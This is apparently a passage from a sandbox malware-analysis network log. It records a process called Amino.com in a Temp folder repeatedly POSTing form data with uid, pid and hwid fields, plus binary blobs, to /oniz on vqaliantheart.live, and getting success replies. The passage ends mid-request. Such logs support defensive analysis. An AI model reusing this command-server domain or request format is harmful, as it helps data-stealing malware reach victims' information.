2025-04-13 14:25:50 UTC	575	IN	Data Raw: 3b f9 00 aa 56 73 dd be 35 20 01 8c 81 56 0f 6d 78 6e f6 f6 be 49 cd 9e 37 d3 b3 26 1e d7 ce 56 4c 78 c6 88 75 26 d4 2f 8c c7 87 d7 b6 f2 ee 8a b2 0a 96 a6 02 15 9b ea 53 50 35 22 54 97 5a 68 b0 ec 54 4f 20 f5 1a ef 16 95 80 16 a9 04 7a de 3f fe 85 94 e3 9f 72 40 fe 1d 40 7c c6 1c e8 aa ba 7d c3 37 be b1 b5 f1 4e 6f b5 ea c8 22 1b 0d 73 ed 0b 1a b2 9e d5 5f 94 25 f5 c8 ca 63 99 4e 56 63 36 1c 6d c4 53 d7 70 9d eb 07 1a 7f c2 0c a4 4d 84 90 bb ce 63 3f a7 8f cc 2c 6b 7e 65 c1 40 03 d9 2b 9c 16 8d 40 80 3d d5 ed 17 83 00 4b 64 50 ae b9 07 0b 0f 5d 03 4a 38 d5 20 6d 55 34 09 85 3e 4f 1e 25 61 09 72 f4 a0 c5 f2 dd 5b 57 8d f4 79 4d 3e 9e d0 00 4a b5 3a 41 e9 74 60 d5 66 5a 34 5c 7d f3 4d d6 2b e2 1d 93 82 fc ac 96 de c6 48 5d 26 53 66 9f b9 25 c5 1d 5c a0 40 Data Ascii: ;Vs5 VmxnI7&VLxu&/SP5"TZhTO z?r@@\|}7No"s_%cNVc6mSpMc?,k~e@+@=KdP]J8 mU4>O%ar[WyM>J:At`fZ4\}M+H]&Sf%\@
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: bd 77 5c 19 7d 37 7b aa 81 27 71 42 3e 56 7c a0 eb 83 1a 0b 00 cf f3 27 9b 18 50 4a f6 67 3f c4 d7 7f bb 88 b4 d2 22 4f 59 83 9a aa 5d 84 bd 96 fa de 08 f3 8b 23 94 ef aa 50 39 cf b8 f3 fe 43 9e 28 00 bb b4 e0 47 9f 83 32 49 99 28 1c 58 c3 18 d5 84 81 2a 99 94 eb 32 71 e5 95 57 97 53 47 ef 83 9b 00 7a 02 01 6b 17 7c 74 8b 28 c2 e1 a9 7a 13 4a 5e c6 84 09 4b 79 ec 6f 08 eb 9e e5 56 8b ec 81 bf 20 92 61 2e 35 59 49 2b e5 4d 40 7c ba 87 9c 51 1c d6 3c 1e 0f e1 3d d8 49 8f d1 6e ed 84 d8 3d 39 3d 9f 10 87 97 6b 9a 21 db c4 2e f2 99 60 02 84 f1 3b 92 d8 cb a8 ce cd e9 68 87 09 b3 4f 9f 63 fb 65 2a fa ac 9a d0 d8 d1 d8 48 79 19 6e cb 2c 2e 92 76 0b 1c 83 34 b7 5e be e3 53 29 0e bd 29 33 3f 38 83 3b f6 2e d8 fd e0 7a 12 dd 96 c8 14 3b 8e dd 34 11 1c 75 a2 e5 2f Data Ascii: w\}7{'qB>V\|'PJg?"OY]#P9C(G2I(X2qWSGzk\|t(zJ^KyoV a.5YI+M@\|Q<=In=9=k!.`;hOceHyn,.v4^S))3?8;.z;4u/
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: 03 9d 58 60 db 8f ef d6 c8 8f fb 74 11 06 d1 a6 7a 84 91 b3 6d 69 b1 a1 a7 35 67 03 88 6e b4 c8 f6 e5 60 af 2e f0 60 e1 e6 68 bc f1 dc 4c a2 29 cb 23 4f 89 59 f4 3c d1 e9 04 ed 4a 5d a3 0e 37 2d 01 dd 54 9d e2 4c 48 b6 31 6c 71 24 42 e5 c2 25 68 32 3e 1f ff fc d7 e5 e9 07 3b b0 98 e1 bb 61 2e 6a 3a f1 b0 f0 90 6a 8e a5 ae 50 c4 94 1a 47 7d eb 44 15 96 fb e4 76 ba 5f e0 86 82 e4 16 99 83 cd 73 6f 6d c9 e4 e2 55 24 4f c5 db 78 87 0d 41 aa 88 ba 16 50 4a 61 b0 db 03 16 5e 66 f9 e3 6a 25 26 66 d6 eb 6c e0 f3 8b 3d 59 95 ac b2 e4 f2 5b 19 87 51 ee 60 e4 2c 63 6f 3b b0 ba e5 ba 05 51 af db 75 ca d2 01 88 dd ba 7b fe 60 b0 77 78 19 e6 1d e7 f8 27 e1 a4 06 85 55 86 f2 86 e1 f8 2f 6a b7 77 2c a1 df a3 3d fc 73 5a 46 9f 5e 87 78 a5 09 f3 06 e6 5f 3e b7 35 78 ac bf Data Ascii: X`tzmi5gn`.`hL)#OY<J]7-TLH1lq$B%h2>;a.j:jPG}Dv_somU$OxAPJa^fj%&fl=Y[Q`,co;Qu{`wx'U/jw,=sZF^x_>5x
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: 95 ed b7 0d 9b 8f 2e 39 70 82 6f 9e 40 0b 5d 80 35 f5 88 53 14 c0 df 52 13 5e 07 60 29 a6 73 2a b5 49 98 53 45 b2 23 00 e3 03 73 6e f3 85 8d a1 0b d3 24 50 ff c4 65 b7 a7 92 84 3a 41 e2 5d e0 46 58 ad 19 9a e2 e4 38 c5 3a 42 d2 0b 67 ed 2c 8b 0c 07 3e 67 bb cf 2c 7f 1a 42 c4 aa 8c 86 d1 28 5b cd 23 28 62 3c c1 07 9e 5d 74 16 8b 20 3d 53 49 53 2f 0f 06 c3 b9 91 b2 44 61 ab 73 9f 90 f4 51 c5 4f 4a a2 a9 86 d5 5b 78 af 91 e7 0d 58 20 1b a1 69 7a be 9d f1 40 bb a2 db f6 b1 e2 e5 49 0a 12 7c 80 e1 62 98 47 0d 47 df 28 ae e1 5b ef aa f7 f9 4c 4c 9c 02 86 00 a8 67 81 0f aa 32 0a 5f 0b 7b 18 c8 d9 04 a6 ef 0c fe 03 2c 18 80 d4 bc be 8e 37 59 0f 77 c5 46 f7 be e2 12 7d d3 13 21 17 0f 3b c6 74 d5 6c 80 13 26 97 75 f0 6d ba 01 5c 24 8b 49 26 2d 47 bd 48 fe 63 f8 9f Data Ascii: .9po@]5SR^`)s*ISE#sn$Pe:A]FX8:Bg,>g,B([#(b<]t =SIS/DasQOJ[xX iz@I\|bGG([LLg2_{,7YwF}!;tl&um\$I&-GHc
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: f4 d2 8c 60 f1 66 dd 4a de e9 27 81 4f 58 a2 75 60 3c 92 cd 30 f4 69 54 74 4f 26 c2 54 f6 3e cd 18 8f 5c 45 38 f5 25 62 09 85 df 01 c9 e5 78 dd 0f 50 30 aa 00 34 42 0a b4 bb 31 a5 2c fa 0d dc 56 2c 1f 3a 24 1b 95 0d 12 95 6f c3 2c d9 7b 1d c8 89 33 d0 50 16 7b 8f 48 4d 7e c5 2c ed 3c 7c 44 c6 86 b4 8a de 6d cd 79 56 33 a5 54 29 0d f4 0c b0 cc b1 07 58 d7 25 c6 10 f9 52 90 cb 70 9c 94 72 53 33 9f 4e 75 2a c8 cb 43 54 2c dd ca 87 ec 3e 6e 9f bd f5 d6 1d 16 1d 85 46 0c 0a 8a 07 80 4e 93 0a c3 5e 62 b8 9e 33 cd 98 04 fb bd a3 77 2b 05 b3 54 41 72 b1 08 74 0f e7 62 18 17 c0 7e 2b 96 ea 74 2f ad 01 6f d9 16 1d e4 df fe 39 7f 4e 46 e3 8f e8 94 9d 84 a6 14 23 d8 6c 55 9d 9c 0e d9 e3 03 b7 12 f4 81 8d df f4 1a 18 d2 b9 8e 1e c5 ed d1 35 fe a9 21 e8 52 b8 a7 a7 10 Data Ascii: `fJ'OXu`<0iTtO&T>\E8%bxP04B1,V,:$o,{3P{HM~,<\|DmyV3T)X%RprS3Nu*CT,>nFN^b3w+TArtb~+t/o9NF#lU5!R
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: 44 88 83 bc 8e a4 bb dd d7 41 29 78 03 53 62 7e 2e 09 b3 75 3a a5 1b b5 e5 2f 32 3a c3 cc 4a 76 4a bc 59 41 89 88 72 03 fd a9 5d 5b a8 c2 c5 fa 57 3c e5 71 5c 1a 8a f8 8e 25 8b 7d 0c 5e 5a bd 9c 16 52 0b 27 2e b1 ca b8 47 fc d4 e1 2c 1a e3 bf 8c 9c 45 51 a8 61 48 93 59 d9 a7 68 f3 8b 98 e5 34 cd 0f 9c 95 0c ad 4c ab 43 b5 db 67 0c 2e 14 24 60 fe ad 9b e1 7c 5c db fb 08 c7 fb 05 b2 43 12 d3 aa 58 80 3d f7 d9 07 98 4b 7d aa 88 97 21 56 a0 33 b0 e8 01 1d cc 25 e6 50 fc bc 5a c4 37 66 00 09 cf eb 2f ef 5b 72 6a 6d cf 3d 1e 91 24 c5 25 a6 e5 d8 64 7e cc b6 3b b9 87 63 a3 f6 73 16 23 8f 31 86 30 20 2b 45 52 53 f7 e1 d4 f7 f1 26 75 ce 24 e7 dd 7b 6d eb 30 0c 21 1c 54 77 60 bd 8c 83 8f 2d bb 87 00 0c 32 64 e3 56 9a c0 b6 9b 53 06 d5 8a 47 37 d8 9f 10 1c 41 de f2 Data Ascii: DA)xSb~.u:/2:JvJYAr][W<q\%}^ZR'.G,EQaHYh4LCg.$`\|\CX=K}!V3%PZ7f/[rjm=$%d~;cs#10 +ERS&u${m0!Tw`-2dVSG7A
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: 95 7f 4e 9c 16 40 22 8b 60 b3 49 4b 5f 5e 63 9d 4a 66 4f f2 44 da 47 a3 bb c8 41 7a 4a ce 97 60 8d b7 c9 0b 67 4b 8f 67 0c 56 1a 42 b1 a3 6d 9c 62 26 d2 83 8a 6b 55 80 da f0 e4 ee 3f 1a 79 ec 8a a9 49 24 76 71 0b 65 58 d7 fd e2 2a fe 30 5c 96 ea 74 70 d7 b7 76 5c bc 88 3c c3 f4 0e 50 9f 8a dc 5e 96 ed fb 33 21 53 95 09 4e bd 3c e1 f4 a9 d4 c2 91 fa 52 f7 12 ff 79 be 1e 43 19 5a 73 d2 36 b6 98 42 6f ac 79 69 2d b1 d1 c2 45 df 79 f7 5b cb 05 5c 1e ef cc 64 90 8f 43 fb 1e 11 1b 2a c9 89 44 a2 4c bd 4c b1 2e d8 e8 7f 09 2b 76 85 ee f3 c9 27 82 38 c0 2c 6b 22 dd 3e 88 40 c9 89 2d 58 01 fb 68 86 30 c0 d6 fd 5f 41 da a7 3d 94 bf 9c db 47 e2 44 54 ef 92 b6 b8 ef 3a bd 3e 0a 3f 47 2e 0e ec 86 38 a6 79 19 02 90 10 f0 e6 e7 bb 3a 29 00 aa 3f f5 df ec b3 25 36 d8 4b Data Ascii: N@"`IK_^cJfODGAzJ`gKgVBmb&kU?yI$vqeX0\tpv\<P^3!SN<RyCZs6Boyi-Ey[\dCDLL.+v'8,k">@-Xh0_A=GDT:>?G.8y:)?%6K
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: 19 f4 5a 7f 4d cd e1 ca 12 d3 b0 39 67 b7 9a c3 87 cc 5b 8a f5 29 85 80 3e 9e 24 ca 3e 9e 91 cc a6 6b 88 b6 30 2f 3a dd 10 82 d5 e5 1d 1b 13 52 a4 67 d0 91 81 00 89 76 37 cd c4 c1 d7 5c 3b cd 7a 56 52 21 03 88 4f 4d 6a a8 06 03 85 ac 5a b2 b2 d4 30 de 2c 41 51 9c ea 02 b7 0e 8e 7a 68 ae 52 df c5 fb 53 62 9c af 9b 74 bd 68 13 8f d4 b6 91 b0 43 eb 10 28 dd 52 6d 58 5d c5 d6 dc 7d 93 17 90 b2 09 0a f5 fa 5c 58 7a 72 62 9d ef c8 6b 38 c6 bb ea c8 e9 ec cd 86 e8 9a 78 13 92 6d d0 2c 38 52 3c 3f a6 6a 00 e0 ff 0d 24 fb 41 da 86 ae 4d f1 09 02 6e ee 08 1d 73 0c f8 e6 9a ba 01 6d 5e ae 66 be f9 ff 36 59 9e 54 d3 1a 29 15 26 3e 50 3d c8 fa 2d 97 e0 04 df ca de 00 ba 0d 81 a1 94 f6 8f e9 d3 65 c5 92 78 11 bb 53 73 c5 62 39 e8 6f 7a 6d ee e4 67 8d f8 9f 28 93 57 e4 Data Ascii: ZM9g[)>$>k0/:Rgv7\;zVR!OMjZ0,AQzhRSbthC(RmX]}\Xzrbk8xm,8R<?j$AMnsm^f6YT)&>P=-exSsb9ozmg(W
2025-04-13 14:25:50 UTC	1369	IN	Data Raw: ab d0 64 54 d8 ca 45 d8 4d f9 cc 78 aa ac d6 c8 57 22 04 88 e9 2e 11 01 39 94 51 b2 b8 66 45 2e 97 59 81 76 cf b3 8e 49 6f 85 16 29 27 58 4e 9b 05 ee 76 76 05 78 fe d1 fb 51 75 33 5a 88 b6 57 c6 fa 5e a2 d3 fe a7 c0 63 6c dc b2 cd fb c3 88 fd 38 92 67 a9 10 bb f3 95 9a cb f2 89 ec 38 22 5b 5e 37 04 cc 3d b4 c3 eb 12 72 de c1 ad 83 5d 14 cd a0 60 9d fe 26 ab f6 22 7c 84 d1 f3 14 d0 f5 78 f2 d3 c1 02 72 5c f2 8c 63 e4 16 0e b5 f1 5e 40 fb 66 c5 02 98 97 ae 0e a0 b5 b9 ae d4 a7 96 84 8b 4d 2b d0 c5 4b 1e be ea 4f 26 c0 85 01 89 8b f7 ff 21 01 ca eb fe cd 5f e9 59 f3 33 f0 56 0f fd ba 10 96 29 53 ba 5e c7 d7 b6 45 9d b6 77 8c bf de 24 44 5a 19 06 f1 8a 04 ac 4b 4c d8 56 2c 9a 36 b6 bc 6e fc 65 79 37 73 ea 19 50 ba 1f 4f e3 c2 f3 8a f9 7c 3b 26 b4 03 32 a2 0d Data Ascii: dTEMxW".9QfE.YvIo)'XNvvxQu3ZW^cl8g8"[^7=r]`&"\|xr\c^@fM+KO&!_Y3V)S^Ew$DZKLV,6ney7sPO\|;&2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49727	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:52 UTC	283	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2v12fESlxSr0hQWn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 19611 Host: vqaliantheart.live
2025-04-13 14:25:52 UTC	15331	OUT	Data Raw: 2d 2d 32 76 31 32 66 45 53 6c 78 53 72 30 68 51 57 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 32 76 31 32 66 45 53 6c 78 53 72 30 68 51 57 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 76 31 32 66 45 53 6c 78 53 72 30 68 51 57 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 38 41 32 Data Ascii: --2v12fESlxSr0hQWnContent-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--2v12fESlxSr0hQWnContent-Disposition: form-data; name="pid"2--2v12fESlxSr0hQWnContent-Disposition: form-data; name="hwid"4594AD8A2
2025-04-13 14:25:52 UTC	4280	OUT	Data Raw: db df ac eb 96 10 81 91 56 09 97 6a 8e 81 a9 fe 2c 96 2f c5 20 81 1f c1 db a1 eb 37 96 60 3e cc 52 e4 d6 83 50 40 78 65 75 39 d8 a7 8f f9 f9 f5 fd c5 eb 06 43 72 57 dc 3a ad 60 3f aa 19 8b 5e 42 72 22 c6 14 b1 2b f0 ba 91 94 99 54 60 c5 e0 85 b9 58 0d e5 7c f8 93 78 b8 7f e5 22 82 0c 7e 3b cd f8 28 b0 d1 3a 95 e7 3c 06 e2 76 e6 f4 06 e8 27 02 bd 17 6f ad 01 6a 5f a2 d8 f5 47 59 29 8c 80 21 4d 09 09 f1 3b 80 fa 30 4b 6b a9 51 bd 17 6a d7 39 ef 52 3f 61 8c f2 4a 1d 6b 37 53 a8 c2 07 36 ae 91 81 dd 46 ab 6f c7 43 47 cd d0 58 6f 4f e6 3e 36 a7 c5 c4 58 2b bc 23 81 e3 13 bc 50 c2 bc f0 b7 e0 60 de 44 78 ac ab fc 40 94 de 31 02 00 8e 57 f9 69 f2 e2 66 44 5f 37 f3 18 d8 74 55 3c ee d0 22 2e 42 43 77 42 b3 db 8e 5d 65 f8 9c 31 ef 0d 2f 09 b0 8e b5 f1 f0 28 b1 df Data Ascii: Vj,/ 7`>RP@xeu9CrW:`?^Br"+T`X\|x"~;(:<v'oj_GY)!M;0KkQj9R?aJk7S6FoCGXoO>6X+#P`Dx@1WifD_7tU<".BCwB]e1/(
2025-04-13 14:25:52 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oPMojG7yjmsot5h544xdPsYCicJzAUvjRsQbQvbq0cPTtz1DYcYQr9TNC%2BjKqZ8BmIDxosXNFxQ%2Foz405VTiQPOD43t0NkOyZ4oRVz6YnPGGbFl2KSSrfFpenL4yDh5%2FDG8vVNE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba29d0b8032ef-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113177&min_rtt=113097&rtt_var=23911&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20574&delivery_rate=35662&cwnd=252&unsent_bytes=0&cid=24b0d1968f4ba29b&ts=710&x=0"
2025-04-13 14:25:52 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 14:25:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49728	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:53 UTC	280	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=vGxGvlC62hI0A5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 8758 Host: vqaliantheart.live
2025-04-13 14:25:53 UTC	8758	OUT	Data Raw: 2d 2d 76 47 78 47 76 6c 43 36 32 68 49 30 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 76 47 78 47 76 6c 43 36 32 68 49 30 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 76 47 78 47 76 6c 43 36 32 68 49 30 41 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 38 41 32 35 30 37 44 34 35 Data Ascii: --vGxGvlC62hI0A5Content-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--vGxGvlC62hI0A5Content-Disposition: form-data; name="pid"2--vGxGvlC62hI0A5Content-Disposition: form-data; name="hwid"4594AD8A2507D45
2025-04-13 14:25:54 UTC	817	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:54 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EZozgrRlJe5m3GznRqe2vxT5dXk3cpsxlcU%2BbFAUw3ISyY2aWH3jWs4WN%2BAoOpMjLYafPdkMtLZC60o1lhWIM3%2BuZqxtt%2Bbmeg4wfLm0tMyJnjAssiYNK4MM9XjIctT%2F4nYluC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2a3dd1d82b1-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121749&min_rtt=121719&rtt_var=25724&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2842&recv_bytes=9696&delivery_rate=33145&cwnd=248&unsent_bytes=0&cid=1e554ee54ca17a00&ts=1689&x=0"
2025-04-13 14:25:54 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 14:25:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49729	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:55 UTC	278	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Ad5SUz2CMnU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20396 Host: vqaliantheart.live
2025-04-13 14:25:55 UTC	15331	OUT	Data Raw: 2d 2d 41 64 35 53 55 7a 32 43 4d 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 41 64 35 53 55 7a 32 43 4d 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 64 35 53 55 7a 32 43 4d 6e 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 38 41 32 35 30 37 44 34 35 35 37 36 33 42 35 35 38 44 Data Ascii: --Ad5SUz2CMnUContent-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--Ad5SUz2CMnUContent-Disposition: form-data; name="pid"3--Ad5SUz2CMnUContent-Disposition: form-data; name="hwid"4594AD8A2507D455763B558D
2025-04-13 14:25:55 UTC	5065	OUT	Data Raw: ca d1 21 17 13 00 48 aa d3 fa c1 a3 00 0d c2 8d f9 e7 ce 95 95 d1 5a eb a2 bd 4e 71 16 08 af 1a 31 a5 26 5f 80 d2 92 d9 cc 6c 68 39 2f 42 0d 1e 94 d4 b0 2c b9 51 38 a5 1a 79 60 dc 09 14 2b 7a 89 25 b3 d3 12 9f 0e 2b 05 da bb d3 4d 44 b7 d2 1e 4c 7b 79 46 bd c3 db 1e 71 5d 28 c6 b0 3c 57 63 5b e0 84 71 68 d8 22 ce 98 d7 7d a2 7a 81 4d ab dd 8f 7c bb d9 58 ee 52 db 7f c3 cf 53 1a 17 6d b3 ac ca e5 61 02 f4 d6 2e 3a 33 89 cd a2 20 a8 14 2a b5 fd 4e a9 16 dc 9e d8 61 99 bf ae ca e9 cb b9 6e 16 af e0 df bf fd 96 fe b9 05 4e ce 29 a2 31 2b 12 8a 5e bc 2a 45 51 1d 2f cd bf 61 49 24 e1 e5 54 3a ab 3b d9 72 02 d5 7d 4a 03 41 df d0 14 16 32 d0 a8 04 50 89 41 b6 73 d7 84 1f 0e 90 e2 af bc e9 21 f5 8c cb 69 a9 61 77 66 6f 94 fe 63 b8 c1 c1 50 ec 0a 0c b1 8a c0 da e3 Data Ascii: !HZNq1&_lh9/B,Q8y`+z%+MDL{yFq](<Wc[qh"}zM\|XRSma.:3 NanN)1+^EQ/aI$T:;r}JA2PAs!iawfocP
2025-04-13 14:25:55 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RAL4YUAx3oA6FNDM5%2FWpT5s3laA9ssd%2BHa8d0wATOW1Dte9Ms9XBv9YGbAj%2BOgEAa0Pshv3XUsscsAhKYxhB4pkcZ%2FZPQahORe%2Bq2o6wj9UwENdGUlfh2upMe74VzqQR%2Fm6OK0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2b0795c32e0-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113367&min_rtt=113094&rtt_var=24092&sent=16&recv=23&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21354&delivery_rate=35678&cwnd=252&unsent_bytes=0&cid=73fead2fa468c337&ts=547&x=0"
2025-04-13 14:25:55 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 14:25:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49730	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:58 UTC	274	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EY3fSK83 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 5426 Host: vqaliantheart.live
2025-04-13 14:25:58 UTC	5426	OUT	Data Raw: 2d 2d 45 59 33 66 53 4b 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 45 59 33 66 53 4b 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 59 33 66 53 4b 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 38 41 32 35 30 37 44 34 35 35 37 36 33 42 35 35 38 44 30 39 34 35 31 38 39 42 0d Data Ascii: --EY3fSK83Content-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--EY3fSK83Content-Disposition: form-data; name="pid"1--EY3fSK83Content-Disposition: form-data; 